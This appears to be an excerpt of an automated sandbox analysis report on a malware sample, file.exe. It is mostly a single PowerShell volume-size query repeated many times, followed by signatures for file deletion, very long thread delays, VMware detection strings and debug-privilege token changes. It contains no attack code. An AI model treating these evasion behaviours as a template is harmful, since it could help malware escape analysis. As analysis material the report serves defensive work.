Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA61F00 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF78CA61F00

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA65E4C GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,GetLastError,

0_2_00007FF78CA65E4C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: wscript.exe, 00000007.00000003.1786635430.0000029AECBB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}DD
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00007FF78CA61C38

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

